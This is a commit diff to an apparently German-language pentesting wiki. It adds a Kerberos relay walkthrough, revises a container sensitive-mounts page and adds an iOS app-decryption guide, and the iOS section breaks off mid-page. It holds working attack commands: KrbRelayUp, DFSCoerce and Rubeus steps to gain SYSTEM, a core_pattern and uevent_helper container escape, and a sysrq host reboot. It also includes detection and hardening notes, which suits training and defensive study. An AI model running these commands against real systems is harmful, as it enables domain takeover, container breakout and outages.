Translated ['src/generic-methodologies-and-resources/pentesting-network/

2025-10-10 18:36:50 +00:00 · 2025-05-11 15:15:49 +00:00 · 2025-05-11 15:15:49 +00:00 · 860718e449
commit 860718e449
parent 58e0bf39ca
5 changed files with 245 additions and 51 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -316,6 +316,7 @@
  - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
    - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
  - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+  - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
  - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
    - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
    - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
  - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
  - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
  - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+  - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
  - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
  - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
  - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -20,7 +20,7 @@

 ### Responder für Protokollvergiftung

- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, indem es selektiv basierend auf Abfragetypen antwortet, hauptsächlich mit dem Ziel von SMB-Diensten.
+- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, das selektiv basierend auf Abfragetypen antwortet, hauptsächlich mit dem Ziel von SMB-Diensten.
 - Es ist vorinstalliert in Kali Linux und konfigurierbar unter `/etc/responder/Responder.conf`.
 - Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis `/usr/share/responder/logs`.
 - Es unterstützt sowohl IPv4 als auch IPv6.
@ -43,14 +43,14 @@

 ### Erfassen von Anmeldeinformationen mit Responder

- Responder wird Dienste mithilfe der oben genannten Protokolle impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
+- Responder wird Dienste, die die oben genannten Protokolle verwenden, impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
 - Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.

-Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Unterbrechungen oder unbefugter Zugriff vermieden werden sollten.
+Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Störungen oder unbefugter Zugriff vermieden werden sollten.

 ## Inveigh

-Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
+Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**Wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).

 Inveigh kann über PowerShell betrieben werden:
 ```bash
@ -64,12 +64,12 @@ Inveigh.exe

 Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen, und gewährt eine System-Shell, wenn er erfolgreich ist. Wichtige Voraussetzungen sind:

- Der authentifizierende Benutzer muss über lokale Administratorrechte auf dem weitergeleiteten Host verfügen.
+- Der authentifizierende Benutzer muss lokalen Admin-Zugriff auf den weitergeleiteten Host haben.
 - SMB-Signierung sollte deaktiviert sein.

-#### 445 Portweiterleitung und Tunneling
+#### 445 Port-Weiterleitung und Tunneling

-In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Datenverkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie [**PortBender**](https://github.com/praetorian-inc/PortBender) helfen dabei, den Datenverkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokale Administratorrechte für das Laden von Treibern verfügbar sind.
+In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Verkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie [**PortBender**](https://github.com/praetorian-inc/PortBender) helfen dabei, den Verkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokaler Admin-Zugriff für das Laden von Treibern verfügbar ist.

 PortBender-Setup und -Betrieb in Cobalt Strike:
 ```bash
@ -91,7 +91,7 @@ beacon> socks stop

 - **Metasploit**: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
 - **smbrelayx**: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relayn, Befehle auszuführen oder Hashes zu dumpen.
+- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relaying, Befehle auszuführen oder Hashes zu dumpen.

 Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.

@ -115,6 +115,109 @@ In Windows **könnten Sie in der Lage sein, einige privilegierte Konten zu zwing
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}

+## Kerberos Relay-Angriff
+
+Ein **Kerberos Relay-Angriff** stiehlt ein **AP-REQ-Ticket** von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der den **gleichen Computer-Kontenschlüssel** teilt (da beide SPNs auf demselben `$` Maschinenkonto sitzen). Dies funktioniert, obwohl die **Dienstklassen der SPNs unterschiedlich sind** (z. B. `CIFS/` → `LDAP/`), da der *Schlüssel*, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String ist kein Teil der Signatur.
+
+Im Gegensatz zum NTLM-Relay ist der Sprung auf die *gleiche Host* beschränkt, aber wenn Sie ein Protokoll anvisieren, das es Ihnen ermöglicht, in LDAP zu schreiben, können Sie in **Resource-Based Constrained Delegation (RBCD)** oder **AD CS-Registrierung** einsteigen und **NT AUTHORITY\SYSTEM** in einem einzigen Schritt übernehmen.
+
+Für detaillierte Informationen zu diesem Angriff überprüfen Sie:
+
+- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
+- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
+
+- 1. **Kerberos-Grundlagen**
+
+| Token | Zweck | Relevanz für Relay |
+|-------|-------|--------------------|
+| **TGT / AS-REQ ↔ REP** | Beweist den Benutzer gegenüber dem KDC | unberührt |
+| **Dienstticket / TGS-REQ ↔ REP** | An einen **SPN** gebunden; mit dem Schlüssel des SPN-Besitzers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
+| **AP-REQ** | Client sendet `TGS` an den Dienst | **was wir stehlen & wiedergeben** |
+
+* Tickets sind mit dem **passwortabgeleiteten Schlüssel des Kontos, das den SPN besitzt**, verschlüsselt.
+* Der **Authenticator** im AP-REQ hat einen Zeitstempel von 5 Minuten; die Wiederholung innerhalb dieses Fensters ist gültig, bis der Dienstcache ein Duplikat sieht.
+* Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für `CIFS/HOST` normalerweise gut auf `LDAP/HOST` entschlüsselt.
+
+- 2. **Was muss wahr sein, um Kerberos zu relayen**
+
+1. **Geteilter Schlüssel:** Quell- und Ziel-SPNs gehören zum selben Computer-Konto (Standard auf Windows-Servern).
+2. **Kein Kanal-Schutz:** SMB/LDAP-Signierung deaktiviert und EPA für HTTP/LDAPS deaktiviert.
+3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Vergiftung, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiger DCOM usw.
+4. **Ticketquelle nicht bereits verwendet:** Sie gewinnen das Rennen, bevor das echte Paket ankommt oder blockieren es vollständig; andernfalls wird der Replay-Cache des Servers Event 4649 auslösen.
+5. Sie müssen irgendwie in der Lage sein, ein **MitM in der Kommunikation** durchzuführen, möglicherweise indem Sie Teil der DNSAmins-Gruppe sind, um die DNS des Domäne zu ändern oder die HOST-Datei des Opfers zu ändern.
+
+### Kerberos Relay Schritte
+
+- 3.1 **Recon den Host**
+```powershell
+# find servers where HTTP, LDAP or CIFS share the same machine account
+Get-ADComputer -Filter * -Properties servicePrincipalName |
+Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
+Select Name,servicePrincipalName
+```
+- 3.2 **Starten Sie den Relay-Listener**
+
+[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
+```powershell
+# one-click local SYSTEM via RBCD
+.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
+```
+`KrbRelayUp` bündelt **KrbRelay → LDAP → RBCD → Rubeus → SCM-Bypass** in einer Binärdatei.
+
+- 3.3 **Kerberos-Authentifizierung erzwingen**
+```powershell
+# coerce DC to auth over SMB with DFSCoerce
+.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
+```
+DFSCoerce lässt den DC ein Kerberos `CIFS/DC01` Ticket an uns senden.
+
+- 3.4 **Leite die AP-REQ weiter**
+
+KrbRelay extrahiert den GSS Blob aus SMB, verpackt ihn in einen LDAP Bind und leitet ihn an `ldap://DC01` weiter – die Authentifizierung gelingt, weil der **gleiche Schlüssel** ihn entschlüsselt.
+
+- 3.5 **Missbrauch von LDAP ➜ RBCD ➜ SYSTEM**
+```powershell
+# (auto inside KrbRelayUp) manual for clarity
+New-MachineAccount -Name "FAKE01" -Password "P@ss123"
+KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
+Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
+SCMUACBypass.exe
+```
+You now own **NT AUTHORITY\SYSTEM**.
+
+### **Weitere Pfade, die es wert sind, bekannt zu sein**
+
+| Vektor | Trick | Warum es wichtig ist |
+|--------|-------|---------------------|
+| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client baut eine AP-REQ direkt zu Ihnen | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
+| **DCOM / MSRPC** | Bösartiger OXID-Resolver zwingt den Client, sich bei beliebigem SPN und Port zu authentifizieren | Reine *lokale* Privilegieneskalation; umgeht die Firewall |
+| **AD CS Web Enroll** | Relay-Maschinen-Ticket an `HTTP/CA` und erhalten Sie ein Zertifikat, dann **PKINIT**, um TGTs zu erstellen | Umgeht LDAP-Signierungsabwehr |
+| **Shadow Credentials** | Schreiben Sie `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Keine Notwendigkeit, ein Computer-Konto hinzuzufügen |
+
+### **Fehlerbehebung**
+
+| Fehler | Bedeutung | Lösung |
+|-------|---------|-----|
+| `KRB_AP_ERR_MODIFIED` | Ticket-Schlüssel ≠ Ziel-Schlüssel | Falscher Host/SPN |
+| `KRB_AP_ERR_SKEW` | Uhr > 5 Minuten Versatz | Zeit synchronisieren oder `w32tm` verwenden |
+| LDAP-Bindung schlägt fehl | Signierung durchgesetzt | Verwenden Sie den AD CS-Pfad oder deaktivieren Sie die Signierung |
+| Event 4649 Spam | Dienst sah doppelten Authenticator | blockieren oder ursprüngliches Paket überholen |
+
+### **Erkennung**
+
+* Anstieg von **Event 4769** für `CIFS/`, `HTTP/`, `LDAP/` aus derselben Quelle innerhalb von Sekunden.
+* **Event 4649** im Dienst zeigt an, dass ein Replay erkannt wurde.
+* Kerberos-Anmeldung von **127.0.0.1** (Relay zu lokalem SCM) ist hochgradig verdächtig—über Sigma-Regel in KrbRelayUp-Dokumenten abbilden.
+* Änderungen an den Attributen `msDS-AllowedToActOnBehalfOfOtherIdentity` oder `msDS-KeyCredentialLink` beobachten.
+
+## **Härtung**
+
+1. **Durchsetzen von LDAP- und SMB-Signierung + EPA** auf jedem Server.
+2. **SPNs aufteilen**, sodass HTTP nicht im selben Konto wie CIFS/LDAP ist.
+3. Patchen von Zwangsvektoren (PetitPotam KB5005413, DFS, AuthIP).
+4. Setzen Sie **`ms-DS-MachineAccountQuota = 0`**, um unerwünschte Computeranmeldungen zu stoppen.
+5. Alarmieren Sie bei **Event 4649** und unerwarteten Loopback-Kerberos-Anmeldungen.
+
 ## Referenzen

 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -2,7 +2,7 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Die Exposition von `/proc`, `/sys` und `/var` ohne angemessene Namensraum-Isolierung führt zu erheblichen Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und Informationsoffenlegung. Diese Verzeichnisse enthalten sensible Dateien, die, wenn sie falsch konfiguriert oder von einem unbefugten Benutzer zugegriffen werden, zu einem Container-Ausbruch, Host-Modifikation oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Zum Beispiel kann das falsche Einbinden von `-v /proc:/host/proc` den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und `/host/proc` ungeschützt lassen.
+Die Offenlegung von `/proc`, `/sys` und `/var` ohne angemessene Namensraum-Isolierung bringt erhebliche Sicherheitsrisiken mit sich, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die, wenn sie falsch konfiguriert oder von einem unbefugten Benutzer zugegriffen werden, zu einem Container-Ausbruch, einer Host-Modifikation oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Zum Beispiel kann das falsche Einhängen von `-v /proc:/host/proc` den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und `/host/proc` ungeschützt lassen.

 **Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

@ -15,16 +15,28 @@ Dieses Verzeichnis erlaubt den Zugriff zur Modifikation von Kernel-Variablen, no
 #### **`/proc/sys/kernel/core_pattern`**

 - Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Ermöglicht die Definition eines Programms, das bei der Erzeugung von Kernelspeicherabbilddateien ausgeführt wird, wobei die ersten 128 Bytes als Argumente verwendet werden. Dies kann zu einer Codeausführung führen, wenn die Datei mit einer Pipe `|` beginnt.
+- Wenn Sie in diese Datei schreiben können, ist es möglich, eine Pipe `|` gefolgt von dem Pfad zu einem Programm oder Skript zu schreiben, das nach einem Absturz ausgeführt wird.
+- Ein Angreifer kann den Pfad innerhalb des Hosts zu seinem Container ermitteln, indem er `mount` ausführt, und den Pfad zu einer Binärdatei im Dateisystem seines Containers schreiben. Dann kann er ein Programm zum Absturz bringen, um den Kernel dazu zu bringen, die Binärdatei außerhalb des Containers auszuführen.
+
 - **Test- und Ausbeutungsbeispiel**:
-
 ```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test auf Schreibzugriff
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
 cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Benutzerdefinierten Handler festlegen
-sleep 5 && ./crash & # Handler auslösen
+echo "|$overlay/shell.sh" > core_pattern # Set custom handler
+sleep 5 && ./crash & # Trigger handler
 ```
+Überprüfen Sie [diesen Beitrag](https://pwning.systems/posts/escaping-containers-for-fun/) für weitere Informationen.

+Beispielprogramm, das abstürzt:
+```c
+int main(void) {
+char buf[1];
+for (int i = 0; i < 100; i++) {
+buf[i] = 1;
+}
+return 0;
+}
+```
 #### **`/proc/sys/kernel/modprobe`**

 - Detailliert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
@ -32,28 +44,28 @@ sleep 5 && ./crash & # Handler auslösen
 - **Zugriffsprüfung Beispiel**:

 ```bash
-ls -l $(cat /proc/sys/kernel/modprobe) # Zugriff auf modprobe überprüfen
+ls -l $(cat /proc/sys/kernel/modprobe) # Überprüfen des Zugriffs auf modprobe
 ```

 #### **`/proc/sys/vm/panic_on_oom`**

 - Referenziert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Ein globales Flag, das steuert, ob der Kernel bei einem OOM-Zustand einen Panic auslöst oder den OOM-Killer aufruft.
+- Ein globales Flag, das steuert, ob der Kernel panikt oder den OOM-Killer aufruft, wenn eine OOM-Bedingung auftritt.

 #### **`/proc/sys/fs`**

- Laut [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält es Optionen und Informationen über das Dateisystem.
+- Laut [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält Optionen und Informationen über das Dateisystem.
 - Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.

 #### **`/proc/sys/fs/binfmt_misc`**

- Ermöglicht die Registrierung von Interpretern für nicht-native Binärformate basierend auf ihrer Magischen Zahl.
- Kann zu einer Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
- Relevante Ausnutzung und Erklärung:
+- Ermöglicht die Registrierung von Interpretern für nicht-native Binärformate basierend auf ihrer Magic-Nummer.
+- Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
+- Relevanter Exploit und Erklärung:
 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
 - Ausführliches Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

-### Weitere in `/proc`
+### Andere in `/proc`

 #### **`/proc/config.gz`**

@ -62,7 +74,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Zugriff auf modprobe überprüfen

 #### **`/proc/sysrq-trigger`**

- Ermöglicht das Auslösen von Sysrq-Befehlen, was möglicherweise sofortige Systemneustarts oder andere kritische Aktionen verursacht.
+- Ermöglicht das Auslösen von Sysrq-Befehlen, was sofortige Systemneustarts oder andere kritische Aktionen verursachen kann.
 - **Beispiel für Neustart des Hosts**:

 ```bash
@ -71,13 +83,13 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts

 #### **`/proc/kmsg`**

- Gibt Nachrichten des Kernel-Ringpuffers aus.
- Kann bei Kernel-Ausnutzungen, Adresslecks helfen und sensible Systeminformationen bereitstellen.
+- Gibt Nachrichten aus dem Kernel-Ringpuffer aus.
+- Kann bei Kernel-Exploits, Adresslecks helfen und sensible Systeminformationen bereitstellen.

 #### **`/proc/kallsyms`**

 - Listet vom Kernel exportierte Symbole und deren Adressen auf.
- Essentiell für die Entwicklung von Kernel-Ausnutzungen, insbesondere zum Überwinden von KASLR.
+- Essentiell für die Entwicklung von Kernel-Exploits, insbesondere um KASLR zu überwinden.
 - Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist.
 - Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

@ -89,10 +101,10 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts

 #### **`/proc/kcore`**

- Stellt den physischen Speicher des Systems im ELF-Kernformat dar.
+- Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
 - Das Lesen kann Inhalte des Host-Systems und anderer Container offenbaren.
 - Große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
- Ausführliche Nutzung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
+- Detaillierte Nutzung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

 #### **`/proc/kmem`**

@ -101,8 +113,8 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts

 #### **`/proc/mem`**

- Alternative Schnittstelle für `/dev/mem`, die physischen Speicher darstellt.
- Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung von virtuellen zu physischen Adressen.
+- Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt.
+- Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung virtueller in physische Adressen.

 #### **`/proc/sched_debug`**

@ -111,26 +123,26 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts

 #### **`/proc/[pid]/mountinfo`**

- Bietet Informationen über Einhängepunkte im Namensraum des Prozesses.
- Gibt den Standort des Container `rootfs` oder Images preis.
+- Bietet Informationen über Einhängepunkte im Mount-Namensraum des Prozesses.
+- Gibt den Standort des Container-`rootfs` oder Images preis.

 ### `/sys` Schwachstellen

 #### **`/sys/kernel/uevent_helper`**

 - Wird zur Handhabung von Kernel-Gerät `uevents` verwendet.
- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
+- Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
 - **Beispiel für Ausnutzung**: %%%bash

 #### Erstellt eine Payload

 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

-#### Findet den Host-Pfad vom OverlayFS-Mount für den Container
+#### Findet den Host-Pfad von OverlayFS-Mount für den Container

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Setzt uevent_helper auf schädlichen Helper
+#### Setzt uevent_helper auf bösartigen Helper

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

@ -144,16 +156,16 @@ cat /output %%%

 #### **`/sys/class/thermal`**

- Steuert Temperatureinstellungen, was möglicherweise DoS-Angriffe oder physische Schäden verursachen kann.
+- Steuert Temperatureinstellungen, was potenziell DoS-Angriffe oder physische Schäden verursachen kann.

 #### **`/sys/kernel/vmcoreinfo`**

- Leaks Kernel-Adressen, was möglicherweise KASLR gefährdet.
+- Leckt Kernel-Adressen, was KASLR gefährden kann.

 #### **`/sys/kernel/security`**

 - Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux-Sicherheitsmodulen wie AppArmor ermöglicht.
- Der Zugriff könnte es einem Container ermöglichen, sein MAC-System zu deaktivieren.
+- Zugriff könnte es einem Container ermöglichen, sein MAC-System zu deaktivieren.

 #### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`**

@ -167,7 +179,7 @@ cat /output %%%

 ### `/var` Schwachstellen

-Der **/var**-Ordner des Hosts enthält Container-Runtime-Sockets und die Dateisysteme der Container. Wenn dieser Ordner innerhalb eines Containers eingebunden ist, erhält dieser Container Lese- und Schreibzugriff auf die Dateisysteme anderer Container mit Root-Rechten. Dies kann missbraucht werden, um zwischen Containern zu pivotieren, um einen Denial-of-Service zu verursachen oder um andere Container und Anwendungen, die darin ausgeführt werden, zu hintertüren.
+Der **/var**-Ordner des Hosts enthält Container-Laufzeitsockets und die Dateisysteme der Container. Wenn dieser Ordner innerhalb eines Containers gemountet ist, erhält dieser Container Lese- und Schreibzugriff auf die Dateisysteme anderer Container mit Root-Rechten. Dies kann missbraucht werden, um zwischen Containern zu pivotieren, um einen Denial-of-Service zu verursachen oder um andere Container und Anwendungen, die in ihnen laufen, zu backdooren.

 #### Kubernetes

@ -253,7 +265,7 @@ drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044
 ```
 #### Hinweis

-Die tatsächlichen Pfade können in verschiedenen Setups abweichen, weshalb es am besten ist, den **find**-Befehl zu verwenden, um die Dateisysteme der anderen Container und die SA / Web-Identitätstoken zu lokalisieren.
+Die tatsächlichen Pfade können in verschiedenen Setups abweichen, weshalb es am besten ist, den **find**-Befehl zu verwenden, um die Dateisysteme der anderen Container und SA / Web-Identitätstoken zu lokalisieren.

 ### Referenzen

--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@ -0,0 +1,73 @@
+# iOS Pentesting ohne Jailbreak
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Hauptidee
+
+Anwendungen, die mit der **Berechtigung `get_task_allow`** signiert sind, erlauben Drittanbieteranwendungen, eine Funktion namens **`task_for_pid()`** mit der Prozess-ID der ursprünglichen Anwendung als Argument auszuführen, um den Task-Port darüber zu erhalten (in der Lage zu sein, ihn zu steuern und auf seinen Speicher zuzugreifen).
+
+Es ist jedoch nicht so einfach, wie nur die IPA zu ziehen, sie mit der Berechtigung neu zu signieren und sie zurück auf dein Gerät zu flashen. Dies liegt an dem FairPlay-Schutz. Wenn sich die Signatur der App ändert, wird der DRM (Digital Rights Management) Schlüssel **ungültig und die App funktioniert nicht**.
+
+Mit einem alten jailbroken Gerät ist es möglich, die IPA zu installieren, **sie mit deinem bevorzugten Tool zu entschlüsseln** (wie Iridium oder frida-ios-dump) und sie wieder vom Gerät zu ziehen. Obwohl, wenn möglich, wird empfohlen, einfach den Client für die entschlüsselte IPA zu fragen.
+
+## Entschlüsselte IPA erhalten
+
+### Von Apple beziehen
+
+1. Installiere die App, die du pentesten möchtest, auf dem iPhone.
+2. Installiere und starte [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) auf deinem macos.
+3. Öffne `Terminal` auf deinem Mac und wechsle zu `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Die IPA wird später in diesem Ordner erscheinen.
+4. Du solltest dein iOS-Gerät sehen. Doppelklicke darauf und klicke dann auf Hinzufügen + → Apps in der oberen Menüleiste.
+5. Nachdem du auf Hinzufügen geklickt hast, wird Configurator die IPA von Apple herunterladen und versuchen, sie auf dein Gerät zu pushen. Wenn du meiner Empfehlung gefolgt bist und die IPA bereits installiert hast, erscheint eine Aufforderung, die App neu zu installieren.
+6. Die IPA sollte heruntergeladen werden in `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, von wo du sie abrufen kannst.
+
+Siehe [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) für detailliertere Informationen zu diesem Prozess.
+
+### Die App entschlüsseln
+
+Um die IPA zu entschlüsseln, werden wir sie installieren. Wenn du jedoch ein altes jailbroken iPhone hast, wird möglicherweise die Version nicht von der Anwendung unterstützt, da Apps normalerweise nur die neuesten Versionen unterstützen.
+
+Um sie zu installieren, entpacke einfach die IPA:
+```bash
+unzip redacted.ipa -d unzipped
+```
+Überprüfen Sie die `Info.plist` auf die minimal unterstützte Version, und wenn Ihr Gerät älter ist als diese, ändern Sie den Wert, damit es unterstützt wird.
+
+Zippen Sie die IPA zurück:
+```bash
+cd unzipped
+zip -r ../no-min-version.ipa *
+```
+Dann installieren Sie die IPA beispielsweise mit:
+```bash
+ideviceinstaller -i no-min-version.ipa -w
+```
+Beachten Sie, dass Sie möglicherweise den **AppSync Unified tweak** von Cydia benötigen, um `invalid signature`-Fehler zu vermeiden.
+
+Sobald installiert, können Sie den **Iridium tweak** von Cydia verwenden, um die entschlüsselte IPA zu erhalten.
+
+
+### Patch-Berechtigungen & Neuunterzeichnung
+
